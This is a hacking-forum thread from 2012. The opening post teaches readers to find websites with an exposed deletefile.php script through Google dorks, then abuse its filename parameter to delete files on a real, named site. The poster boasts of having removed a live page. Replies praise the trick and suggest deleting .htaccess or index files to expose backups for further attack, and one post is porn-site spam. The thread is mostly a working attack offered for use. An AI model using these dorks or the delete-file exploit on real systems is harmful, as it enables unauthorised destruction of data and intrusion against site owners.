Step 1 - Find a poorly programmed website, most likely created by a 12 year old elementary-school-dropout, using dorks such as:
Code inurl:deletefile.php
inurl:delete.php?filename=
inurl:deletefile.php?filename=
inurl:deletefile.php?file=
etc.
Step 2 - I have found my website that I am going to hax like a pro.
Code http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=
Step 3 - Basic directory transversal. Find the file that you want to delete, I'll use - Code http://www.doculand.net/services/index.html
It works right now.
cough http://www.doculand.net/htdocs/fileuploa...index.html cough
And now it doesn't.
![[Image: 18V7Z]](https://puu.sh/18V7Z)
How magical.
Sep 26, 2012 02:23 PM
(This post was last modified: Sep 26, 2012 02:24 PM by Zixem.)
Cool dork, pretty violent and wicked :> but nice thinking.
O o
/¯/_____________________________________/¯¯
| 0x41414141 ~~~
\_\¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ¯\__
/█\
/ \
Amazing , very nice and interesting , thanks.
Great tutorial Dan.I haven't seen anything like this before.😁
Same as LFD, different function. Useful tutorial nevertheless.
Keep it up.
Yeah really really nice tutorial...
DO NOT DEAL WITH THIS MEMBER
Then you decide to use the deletefile.php to delete the deletefile.php
Sep 26, 2012 04:12 PM
(This post was last modified: Sep 26, 2012 04:13 PM by Define©.)
This exploit is pretty pointless, I don't see how deleting files will get you anywhere.
DO NOT DEAL WITH THIS MEMBER
(Sep 26, 2012 04:12 PM)Define© Wrote: This exploit is pretty pointless, I don't see how deleting files will get you anywhere.
If you set out to piss of as many site hosters as possible, then this gets you there. otherwise it not so great "IMHO"
Sep 26, 2012 05:04 PM
(This post was last modified: Sep 26, 2012 05:05 PM by No.)
(Sep 26, 2012 04:12 PM)Define© Wrote: This exploit is pretty pointless, I don't see how deleting files will get you anywhere.
This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack. Eg. Unencrypted backups (remember that time Blackshades got fucking raped?).
Nice thinking by the way, definitely something I have seen little of.
you forgot to delete your tracks :)
Need A Different Or A NEW PORN WEBSITE!!!WHY??
1. WE GOT PORN
2. WE GOT PORN
3. THERE IS A SPIN WHEEL!!!
Visit Mine!! BOO-TUBE
Aug 12, 2013 12:46 PM
(This post was last modified: Aug 12, 2013 12:49 PM by Gee4rce.)
(Sep 26, 2012 05:04 PM)No Wrote: This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack.
In fact you are totally right with this, the .htaccess is a very good example! But this "way of h4x" still is only usefull for getting
straight "in and back out" again, as in reality a missing index file would quickly draw attention to the Admin... this would allow no longer-term hack. (I think thats what wkdlewy meant to say)...
But while writing this, i thought of the next possibilitie... what if the Admin doesn't see the connection between deletefile.php and his missing index.php? 😁
Greets, Gee.
|